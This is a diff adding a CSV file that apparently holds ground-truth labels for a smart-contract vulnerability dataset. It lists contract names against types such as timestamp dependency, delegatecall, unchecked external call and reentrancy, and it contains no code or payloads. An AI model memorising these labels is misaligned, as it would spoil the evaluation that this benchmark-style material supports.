diff --git a/output.csv b/output.csv new file mode 100644 index 0000000000000000000000000000000000000000..feb0f0f6b5c2523e79511fea142f5fdde9b8f123 --- /dev/null +++ b/output.csv @@ -0,0 +1,779 @@ +,file,contract,ground truth,error_type +0,15,NXX,1,timestamp dependency +1,124,TTPresale,1,timestamp dependency +2,176,IcoRocketFuel,1,timestamp dependency +3,188,Duang8,1,timestamp dependency +4,237,braggerContract,1,timestamp dependency +5,292,CrowdsaleExt,1,timestamp dependency +6,295,CrowdsaleExt,1,timestamp dependency +7,347,CrowdsaleWPTByRounds,1,timestamp dependency +8,361,FreezableToken,1,timestamp dependency +9,361,FreezableMintableToken,1,timestamp dependency +10,399,Saturn,1,timestamp dependency +11,419,SnooKarma,1,timestamp dependency +12,428,F3DPLUS,1,timestamp dependency +13,496,TokenSale,1,timestamp dependency +14,518,SCardLong,1,timestamp dependency +15,578,ERC20Like,1,timestamp dependency +16,613,SnooKarma,1,timestamp dependency +17,649,DVPlock,1,timestamp dependency +18,665,TwoYearDreamTokensVesting,1,timestamp dependency +19,738,Token,1,timestamp dependency +20,739,Crowdsale,1,timestamp dependency +21,837,Controller,1,timestamp dependency +22,883,RakuRakuEth,1,timestamp dependency +23,1051,LimitCollectCoin,1,timestamp dependency +24,1182,BitSongCrowdsale,1,timestamp dependency +25,1256,Betting,1,timestamp dependency +26,1318,WorkIt,1,timestamp dependency +27,1667,JobsBounty,1,timestamp dependency +28,1671,TokenSale,1,timestamp dependency +29,1704,ExternalView,1,timestamp dependency +30,1704,WinnerWinner,1,timestamp dependency +31,1826,JobsBounty,1,timestamp dependency +32,2315,ETHERlemon,1,timestamp dependency +33,2389,ERC20Like,1,timestamp dependency +34,2391,FsTKColdWallet,1,timestamp dependency +35,2641,CrowdsaleExt,1,timestamp dependency +36,2641,UpgradeableToken,1,timestamp dependency +37,2646,CrowdsaleExt,1,timestamp dependency +38,2688,F3d,1,timestamp dependency +39,2711,ExhibationLinkingCoin,1,timestamp dependency +40,2736,DisbursementHandler,1,timestamp dependency +41,2736,TimedStateMachine,1,timestamp dependency +42,2797,TimedCrowdsale,1,timestamp dependency +43,2814,TokenSale,1,timestamp dependency +44,2861,TokenVesting,1,timestamp dependency +45,2948,BGAudit,1,timestamp dependency +46,3100,CardsRaffle,1,timestamp dependency +47,3125,NekoToken,1,timestamp dependency +48,3185,StarmidFreezeTokens,1,timestamp dependency +49,3240,TokenTimelock,1,timestamp dependency +50,3240,TokenVesting,1,timestamp dependency +51,3271,hodlEthereum,1,timestamp dependency +52,6053,TimedCrowdsale,1,timestamp dependency +53,6054,TimedCrowdsale,1,timestamp dependency +54,6059,TimedCrowdsale,1,timestamp dependency +55,6065,TokenTimelock,1,timestamp dependency +56,6065,TokenVesting,1,timestamp dependency +57,6149,JadeCoin,1,timestamp dependency +58,6272,JadeCoin,1,timestamp dependency +59,6297,TimedCrowdsale,1,timestamp dependency +60,6297,JcnxxxCrowdsale,1,timestamp dependency +61,6322,TokenTimelock,1,timestamp dependency +62,6348,DutchAuction,1,timestamp dependency +63,6369,LemoCoin,1,timestamp dependency +64,6370,AMTTimelockedToken,1,timestamp dependency +65,6396,SparksterToken,1,timestamp dependency +66,6403,CrowdsaleExt,1,timestamp dependency +67,6404,CrowdsaleExt,1,timestamp dependency +68,6472,SparksterToken,1,timestamp dependency +69,6534,XTVToken,1,timestamp dependency +70,6578,CryptualProjectToken,1,timestamp dependency +71,6586,TokenTimelockController,1,timestamp dependency +72,6592,SparksterToken,1,timestamp dependency +73,6596,FreezableToken,1,timestamp dependency +74,6604,TimedCrowdsale,1,timestamp dependency +75,6604,VreoTokenSale,1,timestamp dependency +76,6663,TokenTimelockController,1,timestamp dependency +77,6747,CrowdsaleBase,1,timestamp dependency +78,6753,CrowdsaleBase,1,timestamp dependency +79,6798,CrowdsaleBase,1,timestamp dependency +80,6806,CrowdsaleBase,1,timestamp dependency +81,6811,XTVToken,1,timestamp dependency +82,6822,Lockable,1,timestamp dependency +83,6833,MOEToken,1,timestamp dependency +84,6844,XTVToken,1,timestamp dependency +85,6846,FoMo3Dlong,1,timestamp dependency +86,6915,TimedCrowdsale,1,timestamp dependency +87,6933,AnythingAppTokenPreSale,1,timestamp dependency +88,7012,TokenVesting,1,timestamp dependency +89,7044,BaseICO,1,timestamp dependency +90,7044,IonChainICO,1,timestamp dependency +91,7046,Crowdsale,1,timestamp dependency +92,7046,TokenVesting,1,timestamp dependency +93,7046,GambioVesting,1,timestamp dependency +94,7046,GambioCrowdsale,1,timestamp dependency +95,7086,TokenTimelockController,1,timestamp dependency +96,7134,FENIX,1,timestamp dependency +97,7334,TimedCrowdsale,1,timestamp dependency +98,7338,EtheremonRankBattle,1,timestamp dependency +99,7419,SponsoredItemGooRaffle,1,timestamp dependency +100,7440,FreezableToken,1,timestamp dependency +101,7441,Crowdsale,1,timestamp dependency +102,7441,MainCrowdsale,1,timestamp dependency +103,7441,TemplateCrowdsale,1,timestamp dependency +104,7464,TimedCrowdsale,1,timestamp dependency +105,7464,GrapevineCrowdsale,1,timestamp dependency +106,7466,TokenTimelockController,1,timestamp dependency +107,7511,R1Exchange,1,timestamp dependency +108,7512,CrowdsaleExt,1,timestamp dependency +109,7515,CrowdsaleExt,1,timestamp dependency +110,7519,BSPMintable,1,timestamp dependency +111,7521,BSPVesting,1,timestamp dependency +112,7570,GStarCrowdsale,1,timestamp dependency +113,7627,NanoLoanEngine,1,timestamp dependency +114,7724,CTCLock,1,timestamp dependency +115,7736,CTCVesting,1,timestamp dependency +116,7753,BVesting,1,timestamp dependency +117,7775,TokenVesting,1,timestamp dependency +118,7803,TimedCrowdsale,1,timestamp dependency +119,7803,CareerChainPrivateSale,1,timestamp dependency +120,8025,ESSENTIA_PE,1,timestamp dependency +121,8099,tipbot,1,timestamp dependency +122,8233,CrowdsaleExt,1,timestamp dependency +123,8254,StakeDice,1,timestamp dependency +124,8305,GigToken,1,timestamp dependency +125,8305,CrowdSale,1,timestamp dependency +126,8306,CrowdSale,1,timestamp dependency +127,8314,Vault,1,timestamp dependency +128,8320,ESSENTIA_PE,1,timestamp dependency +129,8436,ESSENTIA_PE,1,timestamp dependency +130,8470,StakeDice,1,timestamp dependency +131,8505,TokenVesting,1,timestamp dependency +132,8555,FreezableToken,1,timestamp dependency +133,8555,FreezableMintableToken,1,timestamp dependency +134,8555,MainToken,1,timestamp dependency +135,8556,Crowdsale,1,timestamp dependency +136,8556,FreezableToken,1,timestamp dependency +137,8556,TemplateCrowdsale,1,timestamp dependency +138,8596,CrowdsaleExt,1,timestamp dependency +139,8606,YunMint,1,timestamp dependency +140,8612,TokenVesting,1,timestamp dependency +141,8614,CoinSparrow,1,timestamp dependency +142,8615,TokenVesting,1,timestamp dependency +143,8636,TokenVesting,1,timestamp dependency +144,8636,VariableRateTokenVesting,1,timestamp dependency +145,8647,StreamityEscrow,1,timestamp dependency +146,8750,LemurTokenSale,1,timestamp dependency +147,8766,ESSENTIA_PE,1,timestamp dependency +148,8826,TokenOffering,1,timestamp dependency +149,8851,mameCoin,1,timestamp dependency +150,8926,DreamTeamToken,1,timestamp dependency +151,8939,StreamityEscrow,1,timestamp dependency +152,9208,Crowdsale,1,timestamp dependency +153,9210,Crowdsale,1,timestamp dependency +154,9221,EtherBet,1,timestamp dependency +155,9224,TokenTimelock,1,timestamp dependency +156,9230,Tokenlock,1,timestamp dependency +157,9242,EthTeamContract,1,timestamp dependency +158,9300,TimedCrowdsale,1,timestamp dependency +159,9300,EoptCrowdsale,1,timestamp dependency +160,9309,CrowdsaleExt,1,timestamp dependency +161,9310,CrowdsaleExt,1,timestamp dependency +162,9322,Cryphos,1,timestamp dependency +163,9329,FreezableToken,1,timestamp dependency +164,9333,CrowdsaleExt,1,timestamp dependency +165,9334,CrowdsaleExt,1,timestamp dependency +166,9358,SecurityController,1,timestamp dependency +167,9359,SecurityController,1,timestamp dependency +168,9378,PGOMonthlyPresaleVault,1,timestamp dependency +169,9379,PGOVault,1,timestamp dependency +170,9379,PGOMonthlyInternalVault,1,timestamp dependency +171,9379,PGOMonthlyPresaleVault,1,timestamp dependency +172,9379,GotCrowdSale,1,timestamp dependency +173,9474,WaltonTokenLocker,1,timestamp dependency +174,9476,WaltonTokenLocker,1,timestamp dependency +175,9499,WaltonTokenLocker,1,timestamp dependency +176,9500,WaltonTokenLocker,1,timestamp dependency +177,9502,FreezableToken,1,timestamp dependency +178,9505,WaltonTokenLocker,1,timestamp dependency +179,9521,WaltonTokenLocker,1,timestamp dependency +180,9531,CryptualProjectToken,1,timestamp dependency +181,9560,dappVolumeAd,1,timestamp dependency +182,9654,SimpleBet,1,timestamp dependency +183,9759,FreezableToken,1,timestamp dependency +184,9779,CrowdsaleExt,1,timestamp dependency +185,9780,CrowdsaleExt,1,timestamp dependency +186,9802,CrowdsaleExt,1,timestamp dependency +187,9803,CrowdsaleExt,1,timestamp dependency +188,9805,CrowdsaleExt,1,timestamp dependency +189,9806,CrowdsaleExt,1,timestamp dependency +190,9820,CrowdsaleRC,1,timestamp dependency +191,9830,SpaceWar,1,timestamp dependency +192,9843,Frozenable,1,timestamp dependency +193,9843,Releaseable,1,timestamp dependency +194,9850,PLCRVoting,1,timestamp dependency +195,9850,Parameterizer,1,timestamp dependency +196,9851,PLCRVoting,1,timestamp dependency +197,9851,Parameterizer,1,timestamp dependency +198,9858,CrowdsaleExt,1,timestamp dependency +199,9859,CrowdsaleExt,1,timestamp dependency +200,9889,SecurityController,1,timestamp dependency +201,9890,CrowdsaleExt,1,timestamp dependency +202,9892,CrowdsaleExt,1,timestamp dependency +203,9918,GENEOSSale,1,timestamp dependency +204,9978,EthTeamContract,1,timestamp dependency +205,9987,DQCoin,1,timestamp dependency +206,9994,BaseGameLogic,1,timestamp dependency +207,9998,EthTeamContract,1,timestamp dependency +208,10022,CrowdsaleExt,1,timestamp dependency +209,10023,CrowdsaleExt,1,timestamp dependency +210,10024,CrowdsaleExt,1,timestamp dependency +211,10025,CrowdsaleExt,1,timestamp dependency +212,10129,CrowdsaleBase,1,timestamp dependency +213,10129,KYCPresale,1,timestamp dependency +214,10131,ICO,1,timestamp dependency +215,10131,Tokens,1,timestamp dependency +216,10133,Tokens,1,timestamp dependency +217,10146,KOIOSTokenSale,1,timestamp dependency +218,10146,KOIOSTokenPreSale,1,timestamp dependency +219,10159,XPAAssets,1,timestamp dependency +220,10186,FreezableToken,1,timestamp dependency +221,10189,TokenTimelock,1,timestamp dependency +222,10189,TokenVesting,1,timestamp dependency +223,10250,CrowdsaleExt,1,timestamp dependency +224,10253,CrowdsaleExt,1,timestamp dependency +225,10369,MuskTokenVault,1,timestamp dependency +226,10431,EthTeamContract,1,timestamp dependency +227,10547,ATTRToken,1,timestamp dependency +228,10551,CrowdsaleExt,1,timestamp dependency +229,10552,CrowdsaleExt,1,timestamp dependency +230,10559,Crowdsale,1,timestamp dependency +231,10559,TokenTimelock,1,timestamp dependency +232,10560,Crowdsale,1,timestamp dependency +233,10560,TokenTimelock,1,timestamp dependency +234,10736,LescovexERC20,1,timestamp dependency +235,10755,Crowdsale,1,timestamp dependency +236,10755,FreezableToken,1,timestamp dependency +237,10758,FreezableToken,1,timestamp dependency +238,10763,Frozenable,1,timestamp dependency +239,10798,TokenTimelock,1,timestamp dependency +240,10803,AnythingAppTokenPreSale,1,timestamp dependency +241,10807,CrowdsaleExt,1,timestamp dependency +242,10808,CrowdsaleExt,1,timestamp dependency +243,10826,AnythingAppTokenPreSale,1,timestamp dependency +244,10833,AnythingAppTokenPreSale,1,timestamp dependency +245,10855,TokenLock,1,timestamp dependency +246,10915,DiceRoll,1,timestamp dependency +247,10931,CrowdsaleBase,1,timestamp dependency +248,11021,PAIStandardToken,1,timestamp dependency +249,11063,TimedCrowdsale,1,timestamp dependency +250,11064,ANSAToken,1,timestamp dependency +251,11069,Deposit,1,timestamp dependency +252,11069,Redeem,1,timestamp dependency +253,11182,CrowdsaleExt,1,timestamp dependency +254,11183,FractionalERC20Ext,1,timestamp dependency +255,11190,TimedCrowdsale,1,timestamp dependency +256,11191,DiceForSlice,1,timestamp dependency +257,11205,TimedCrowdsale,1,timestamp dependency +258,11207,ANDToken,1,timestamp dependency +259,11223,MCoinDistribution,1,timestamp dependency +260,11236,EDiamondToken,1,timestamp dependency +261,11237,TimedCrowdsale,1,timestamp dependency +262,11237,T2TCrowdsale,1,timestamp dependency +263,11243,EmontFrenzy,1,timestamp dependency +264,11257,TTGOracle,1,timestamp dependency +265,11323,TUINETWORK,1,timestamp dependency +266,11328,BWService,1,timestamp dependency +267,11328,BW,1,timestamp dependency +268,11329,BWService,1,timestamp dependency +269,11330,BWService,1,timestamp dependency +270,11339,CrowdsaleExt,1,timestamp dependency +271,11340,CrowdsaleExt,1,timestamp dependency +272,11373,TimedCrowdsale,1,timestamp dependency +273,11374,DAVToken,1,timestamp dependency +274,11407,Validation,1,timestamp dependency +275,11415,CrowdsaleExt,1,timestamp dependency +276,11416,CrowdsaleExt,1,timestamp dependency +277,11418,CrowdsaleExt,1,timestamp dependency +278,11419,CrowdsaleExt,1,timestamp dependency +279,11447,TimedCrowdsale,1,timestamp dependency +280,11448,SuperCountriesEth,1,timestamp dependency +281,11457,BCVTokenVault,1,timestamp dependency +282,11526,Escrow,1,timestamp dependency +283,11566,Variation,1,timestamp dependency +284,11568,SetLottery,1,timestamp dependency +285,11569,CrowdsaleTokenExt,1,timestamp dependency +286,11640,CrowdsaleExt,1,timestamp dependency +287,11642,CrowdsaleExt,1,timestamp dependency +288,11684,CrowdsaleExt,1,timestamp dependency +289,11685,CrowdsaleExt,1,timestamp dependency +290,11711,Escrow,1,timestamp dependency +291,11716,TimedCrowdsale,1,timestamp dependency +292,11727,FreezableToken,1,timestamp dependency +293,11751,TokenVesting,1,timestamp dependency +294,11765,FreezableToken,1,timestamp dependency +295,11766,FreezableToken,1,timestamp dependency +296,11775,CrowdsaleBase,1,timestamp dependency +297,11776,CrowdsaleBase,1,timestamp dependency +298,11777,AllocatedCappedCrowdsale,1,timestamp dependency +299,11778,LockToken,1,timestamp dependency +300,11779,CrowdsaleBase,1,timestamp dependency +301,11780,CrowdsaleBase,1,timestamp dependency +302,11786,TokenVesting,1,timestamp dependency +303,11798,CopaDelCrypto,1,timestamp dependency +304,11804,TokenVesting,1,timestamp dependency +305,0,BREBuy,1,block number dependency +306,42,PoP,1,block number dependency +307,57,ForeignBridgeErcToErc,1,block number dependency +308,58,MiniMeToken,1,block number dependency +309,58,AywakeToken,1,block number dependency +310,103,EBLLToken,1,block number dependency +311,106,SPMTToken,1,block number dependency +312,112,ZeroGoldPOWMining,1,block number dependency +313,129,DelayedClaimable,1,block number dependency +314,135,HorseyToken,1,block number dependency +315,136,HorseyToken,1,block number dependency +316,137,HorseyToken,1,block number dependency +317,138,DelayedClaimable,1,block number dependency +318,164,BREBuy,1,block number dependency +319,173,EBBToken,1,block number dependency +320,196,DelayedClaimable,1,block number dependency +321,215,HorseyToken,1,block number dependency +322,216,HorseyToken,1,block number dependency +323,217,HorseyToken,1,block number dependency +324,220,DelayedClaimable,1,block number dependency +325,238,DEJToken,1,block number dependency +326,246,Pinakion,1,block number dependency +327,246,BlockHashRNGFallback,1,block number dependency +328,277,Random,1,block number dependency +329,313,Ethnamed,1,block number dependency +330,399,Saturn,1,block number dependency +331,413,StandardToken,1,block number dependency +332,413,CryptoCongress,1,block number dependency +333,415,Pinakion,1,block number dependency +334,415,BlockHashRNGFallback,1,block number dependency +335,436,DelayedClaimable,1,block number dependency +336,441,QCOToken,1,block number dependency +337,584,ULCToken,1,block number dependency +338,639,HorseyToken,1,block number dependency +339,642,DelayedClaimable,1,block number dependency +340,652,LighthouseLib,1,block number dependency +341,652,RobotLiabilityLib,1,block number dependency +342,654,HorseyToken,1,block number dependency +343,655,HorseyToken,1,block number dependency +344,661,DelayedClaimable,1,block number dependency +345,672,Game,1,block number dependency +346,677,BREBuy_ERC20,1,block number dependency +347,681,ULChain,1,block number dependency +348,705,DelayedClaimable,1,block number dependency +349,710,HorseyToken,1,block number dependency +350,712,HorseyToken,1,block number dependency +351,713,HorseyToken,1,block number dependency +352,749,Lockable,1,block number dependency +353,753,LighthouseLib,1,block number dependency +354,753,RobotLiabilityLib,1,block number dependency +355,759,DelayedClaimable,1,block number dependency +356,762,Crowdsale,1,block number dependency +357,765,TravelHelperToken,1,block number dependency +358,810,DelayedClaimable,1,block number dependency +359,931,DelayedClaimable,1,block number dependency +360,970,OATToken,1,block number dependency +361,980,HKHCToken,1,block number dependency +362,1017,Zlots,1,block number dependency +363,1034,PoCGame,1,block number dependency +364,1044,PoCGame,1,block number dependency +365,1052,Zlots,1,block number dependency +366,1056,Zlots,1,block number dependency +367,1096,Zlots,1,block number dependency +368,1101,Zlots,1,block number dependency +369,1121,DelayedClaimable,1,block number dependency +370,1149,Zethroll,1,block number dependency +371,1165,DelayedClaimable,1,block number dependency +372,1297,BREBuy,1,block number dependency +373,1345,Zethroll,1,block number dependency +374,1376,Win20ETH,1,block number dependency +375,1406,EVTCTLToken,1,block number dependency +376,1472,Zlots,1,block number dependency +377,1482,DelayedClaimable,1,block number dependency +378,1546,Zlots,1,block number dependency +379,1567,GuessEth,1,block number dependency +380,1673,Zlots,1,block number dependency +381,1678,DelayedClaimable,1,block number dependency +382,1698,EVTCToken,1,block number dependency +383,1714,Zethroll,1,block number dependency +384,1761,Zlots,1,block number dependency +385,1791,DelayedClaimable,1,block number dependency +386,1986,PoP,1,block number dependency +387,2003,Zlots,1,block number dependency +388,2110,GuessEth,1,block number dependency +389,2295,WrapperLock,1,block number dependency +390,2296,WrapperLockEth,1,block number dependency +391,2584,Zethroll,1,block number dependency +392,2587,Zethroll,1,block number dependency +393,2589,Zethroll,1,block number dependency +394,2593,Zethroll,1,block number dependency +395,2619,UnityToken,1,block number dependency +396,2632,AntiFakeLabelToken,1,block number dependency +397,2633,Zethroll,1,block number dependency +398,2638,Zethroll,1,block number dependency +399,2644,POOHMO,1,block number dependency +400,2658,Zethroll,1,block number dependency +401,2670,TwentyDollars,1,block number dependency +402,2734,DivMultisigHackable,1,block number dependency +403,2805,AZExchange,1,block number dependency +404,2825,KickTheCoin,1,block number dependency +405,2963,IMDEXDexchange,1,block number dependency +406,2977,LedToken,1,block number dependency +407,2978,LedToken,1,block number dependency +408,2990,MerkleMine,1,block number dependency +409,2990,MultiMerkleMine,1,block number dependency +410,2991,PlayCoinKey,1,block number dependency +411,3060,TokenLock,1,block number dependency +412,3062,TokenLock,1,block number dependency +413,3105,ShintakuToken,1,block number dependency +414,3123,IcoLib,1,block number dependency +415,3132,PresalePool,1,block number dependency +416,3201,AuctionPack,1,block number dependency +417,3240,NokuCustomERC20,1,block number dependency +418,3284,MiniMeToken,1,block number dependency +419,3290,MiniMeToken,1,block number dependency +420,3291,MiniMeToken,1,block number dependency +421,3311,nDEX,1,block number dependency +422,3337,PolarisDEX,1,block number dependency +423,3386,ContractForDifference,1,block number dependency +424,3574,BitDex,1,block number dependency +425,3689,EthertoteToken,1,block number dependency +426,3704,KickTheCoin,1,block number dependency +427,3708,WithdrawFromKickTheCoin,1,block number dependency +428,3711,KickTheCoin,1,block number dependency +429,3828,LavaWallet,1,block number dependency +430,3955,DelayedClaimable,1,block number dependency +431,3970,XinXianToken,1,block number dependency +432,3971,IcoLib,1,block number dependency +433,510,AbstractStorage,1,dangerous delegatecall +434,2004,Proxy,1,dangerous delegatecall +435,3721,Proxy,1,dangerous delegatecall +436,3721,DutchExchangeProxy,1,dangerous delegatecall +437,5321,Proxy,1,dangerous delegatecall +438,5321,DutchExchangeProxy,1,dangerous delegatecall +439,5349,Proxy,1,dangerous delegatecall +440,5349,DutchExchangeProxy,1,dangerous delegatecall +441,5901,Proxy,1,dangerous delegatecall +442,5901,DutchExchangeProxy,1,dangerous delegatecall +443,6043,VersionedToken,1,dangerous delegatecall +444,6043,SPFCToken,1,dangerous delegatecall +445,7129,Proxy,1,dangerous delegatecall +446,7129,DutchExchangeProxy,1,dangerous delegatecall +447,7493,Proxy,1,dangerous delegatecall +448,7494,Proxy,1,dangerous delegatecall +449,7494,DutchExchangeProxy,1,dangerous delegatecall +450,7628,Registry,1,dangerous delegatecall +451,11089,Proxy,1,dangerous delegatecall +452,11089,DutchExchangeProxy,1,dangerous delegatecall +453,12692,main,1,dangerous delegatecall +454,13000,EllipseMarketMaker,1,dangerous delegatecall +455,20625,VersionedToken,1,dangerous delegatecall +456,20625,ELTToken,1,dangerous delegatecall +457,20740,Proxy,1,dangerous delegatecall +458,20740,KnowledgeProxy,1,dangerous delegatecall +459,21312,Proxy,1,dangerous delegatecall +460,21312,DutchExchangeProxy,1,dangerous delegatecall +461,21313,Proxy,1,dangerous delegatecall +462,21313,DutchExchangeProxy,1,dangerous delegatecall +463,21314,Proxy,1,dangerous delegatecall +464,21314,DutchExchangeProxy,1,dangerous delegatecall +465,22229,MultiSigStub,1,dangerous delegatecall +466,22344,Proxy,1,dangerous delegatecall +467,22344,DutchExchangeProxy,1,dangerous delegatecall +468,22345,Proxy,1,dangerous delegatecall +469,22345,DutchExchangeProxy,1,dangerous delegatecall +470,22943,Ohni,1,dangerous delegatecall +471,23604,token,1,dangerous delegatecall +472,25217,Standard223Receiver,1,dangerous delegatecall +473,25217,EllipseMarketMaker,1,dangerous delegatecall +474,25219,Standard223Receiver,1,dangerous delegatecall +475,26431,Proxy,1,dangerous delegatecall +476,26431,DutchExchangeProxy,1,dangerous delegatecall +477,27767,RiskSharingToken,1,dangerous delegatecall +478,29219,SimpleDispatcher,1,dangerous delegatecall +479,29219,PersonalCrowdsaleProxyDispatcher,1,dangerous delegatecall +480,29717,UserWallet,1,dangerous delegatecall +481,29999,Proxy,1,dangerous delegatecall +482,29999,DutchExchangeProxy,1,dangerous delegatecall +483,30357,testBank,1,dangerous delegatecall +484,30358,debugContract,1,dangerous delegatecall +485,30679,MultiSigStub,1,dangerous delegatecall +486,30692,firstTest,1,dangerous delegatecall +487,33425,AdminInterface,1,dangerous delegatecall +488,33567,Proxy,1,dangerous delegatecall +489,33567,DutchExchangeProxy,1,dangerous delegatecall +490,33727,Dispatcher,1,dangerous delegatecall +491,33741,EDProxy,1,dangerous delegatecall +492,33799,caller,1,dangerous delegatecall +493,34410,Router,1,dangerous delegatecall +494,34483,Conductor,1,dangerous delegatecall +495,38293,Proxy,1,dangerous delegatecall +496,38293,DutchExchangeProxy,1,dangerous delegatecall +497,38370,Proxy,1,dangerous delegatecall +498,38370,DutchExchangeProxy,1,dangerous delegatecall +499,43210,Proxy,1,dangerous delegatecall +500,43210,DutchExchangeProxy,1,dangerous delegatecall +501,44311,DelegateCaller,1,dangerous delegatecall +502,44417,InstaAccount,1,dangerous delegatecall +503,44418,InstaAccountV2,1,dangerous delegatecall +504,47235,Proxy,1,dangerous delegatecall +505,47235,DutchExchangeProxy,1,dangerous delegatecall +506,47236,Proxy,1,dangerous delegatecall +507,47236,DutchExchangeProxy,1,dangerous delegatecall +508,20189,Withdrawals,1,unchecked external call +509,22074,SIMPLE_PIGGY_BANK,1,unchecked external call +510,22675,Withdrawable,1,unchecked external call +511,31497,MultiplicatorX4,1,unchecked external call +512,33447,OrganizeFunds,1,unchecked external call +513,33464,Vault,1,unchecked external call +514,33512,MultiplicatorX3,1,unchecked external call +515,35078,minter,1,unchecked external call +516,35421,DSBaseActor,1,unchecked external call +517,35904,Withdrawals,1,unchecked external call +518,35970,EnjinBuyer,1,unchecked external call +519,36334,RequestSale,1,unchecked external call +520,37707,BountyHunt,1,unchecked external call +521,39268,TownCrier,1,unchecked external call +522,40120,Withdrawals,1,unchecked external call +523,40123,Withdrawals,1,unchecked external call +524,40124,Withdrawals,1,unchecked external call +525,40127,Withdrawals,1,unchecked external call +526,40129,Withdrawals,1,unchecked external call +527,40250,Withdrawals,1,unchecked external call +528,40256,Withdrawals,1,unchecked external call +529,40259,Withdrawals,1,unchecked external call +530,40267,Withdrawals,1,unchecked external call +531,40290,Withdrawals,1,unchecked external call +532,40301,Withdrawals,1,unchecked external call +533,40304,Withdrawals,1,unchecked external call +534,40307,Withdrawals,1,unchecked external call +535,40310,Withdrawals,1,unchecked external call +536,40315,Withdrawals,1,unchecked external call +537,40345,Withdrawals,1,unchecked external call +538,40346,Withdrawals,1,unchecked external call +539,40347,Withdrawals,1,unchecked external call +540,40348,Withdrawals,1,unchecked external call +541,40349,Withdrawals,1,unchecked external call +542,40368,Withdrawals,1,unchecked external call +543,40370,Withdrawals,1,unchecked external call +544,40372,Withdrawals,1,unchecked external call +545,40374,Withdrawals,1,unchecked external call +546,40375,Withdrawals,1,unchecked external call +547,40406,Dice,1,unchecked external call +548,40407,Dice,1,unchecked external call +549,40408,Dice,1,unchecked external call +550,40432,Withdrawals,1,unchecked external call +551,40435,Withdrawals,1,unchecked external call +552,40437,Withdrawals,1,unchecked external call +553,40452,Withdrawals,1,unchecked external call +554,40454,Withdrawals,1,unchecked external call +555,40458,Dice,1,unchecked external call +556,40459,Dice,1,unchecked external call +557,40460,Dice,1,unchecked external call +558,40461,Dice,1,unchecked external call +559,40462,Dice,1,unchecked external call +560,40481,KissBTC,1,unchecked external call +561,40500,MICRODAO,1,unchecked external call +562,40511,Withdrawals,1,unchecked external call +563,40513,Withdrawals,1,unchecked external call +564,40521,Withdrawals,1,unchecked external call +565,40524,Withdrawals,1,unchecked external call +566,40527,Withdrawals,1,unchecked external call +567,40623,Withdrawals,1,unchecked external call +568,40634,Withdrawals,1,unchecked external call +569,40640,Withdrawals,1,unchecked external call +570,40654,Withdrawals,1,unchecked external call +571,40655,Withdrawals,1,unchecked external call +572,40733,Attack,1,unchecked external call +573,43091,Withdrawals,1,unchecked external call +574,43100,Withdrawals,1,unchecked external call +575,43101,Withdrawals,1,unchecked external call +576,43121,Withdrawals,1,unchecked external call +577,43123,Withdrawals,1,unchecked external call +578,43330,Withdrawals,1,unchecked external call +579,43334,Withdrawals,1,unchecked external call +580,43369,Withdrawals,1,unchecked external call +581,43379,Withdrawals,1,unchecked external call +582,43387,Withdrawals,1,unchecked external call +583,43590,Withdrawals,1,unchecked external call +584,43593,Withdrawals,1,unchecked external call +585,43595,Withdrawals,1,unchecked external call +586,43747,Withdrawals,1,unchecked external call +587,43750,Withdrawals,1,unchecked external call +588,43752,Withdrawals,1,unchecked external call +589,43757,Withdrawals,1,unchecked external call +590,43769,Withdrawals,1,unchecked external call +591,44156,LoanTokenSettings,1,unchecked external call +592,44340,Withdrawals,1,unchecked external call +593,44341,Withdrawals,1,unchecked external call +594,44342,Withdrawals,1,unchecked external call +595,44343,Withdrawals,1,unchecked external call +596,44344,Withdrawals,1,unchecked external call +597,44432,HeadTail,1,unchecked external call +598,44548,Withdrawals,1,unchecked external call +599,44555,Withdrawals,1,unchecked external call +600,44576,Withdrawals,1,unchecked external call +601,44577,Withdrawals,1,unchecked external call +602,44579,Withdrawals,1,unchecked external call +603,44810,Withdrawals,1,unchecked external call +604,44812,Withdrawals,1,unchecked external call +605,44813,Withdrawals,1,unchecked external call +606,44815,Withdrawals,1,unchecked external call +607,44821,Withdrawals,1,unchecked external call +608,44850,DAO,1,unchecked external call +609,44994,BaseWallet,1,unchecked external call +610,44998,Withdrawals,1,unchecked external call +611,45000,Withdrawals,1,unchecked external call +612,45011,Withdrawals,1,unchecked external call +613,45013,Withdrawals,1,unchecked external call +614,45020,Withdrawals,1,unchecked external call +615,45030,FakeWallet,1,unchecked external call +616,45052,KyberNetworkTest,1,unchecked external call +617,60,MultiBuyer,1,reentrancy +618,80,MultiBuyer,1,reentrancy +619,81,MultiBuyer,1,reentrancy +620,92,MultiBuyer,1,reentrancy +621,95,MultiBuyer,1,reentrancy +622,165,MultiBuyer,1,reentrancy +623,168,MultiBuyer,1,reentrancy +624,180,MultiBuyer,1,reentrancy +625,187,MultiBuyer,1,reentrancy +626,241,MultiBuyer,1,reentrancy +627,245,MultiBuyer,1,reentrancy +628,268,MultiBuyer,1,reentrancy +629,332,MultiBuyer,1,reentrancy +630,336,MultiBuyer,1,reentrancy +631,420,MultiBuyer,1,reentrancy +632,425,MultiBuyer,1,reentrancy +633,470,MultiBuyer,1,reentrancy +634,475,MultiBuyer,1,reentrancy +635,520,MultiBuyer,1,reentrancy +636,523,MultiBuyer,1,reentrancy +637,601,MultiBuyer,1,reentrancy +638,609,MultiBuyer,1,reentrancy +639,668,MultiBuyer,1,reentrancy +640,670,MultiBuyer,1,reentrancy +641,678,MultiBuyer,1,reentrancy +642,717,MultiBuyer,1,reentrancy +643,721,MultiBuyer,1,reentrancy +644,754,MultiBuyer,1,reentrancy +645,760,MultiBuyer,1,reentrancy +646,798,MultiBuyer,1,reentrancy +647,801,MultiBuyer,1,reentrancy +648,870,MultiBuyer,1,reentrancy +649,871,MultiBuyer,1,reentrancy +650,930,MultiBuyer,1,reentrancy +651,934,MultiBuyer,1,reentrancy +652,989,MultiBuyer,1,reentrancy +653,990,MultiBuyer,1,reentrancy +654,1011,MultiBuyer,1,reentrancy +655,1021,MultiBuyer,1,reentrancy +656,1023,MultiBuyer,1,reentrancy +657,1030,MultiBuyer,1,reentrancy +658,1076,MultiBuyer,1,reentrancy +659,1078,MultiBuyer,1,reentrancy +660,1155,ZethrBankroll,1,reentrancy +661,1421,MultiBuyer,1,reentrancy +662,1423,MultiBuyer,1,reentrancy +663,1427,MultiBuyer,1,reentrancy +664,1489,MultiBuyer,1,reentrancy +665,1491,MultiBuyer,1,reentrancy +666,1498,MultiBuyer,1,reentrancy +667,1600,MultiBuyer,1,reentrancy +668,1611,MultiBuyer,1,reentrancy +669,1620,MultiBuyer,1,reentrancy +670,1634,MultiBuyer,1,reentrancy +671,20780,MultiBuyer,1,reentrancy 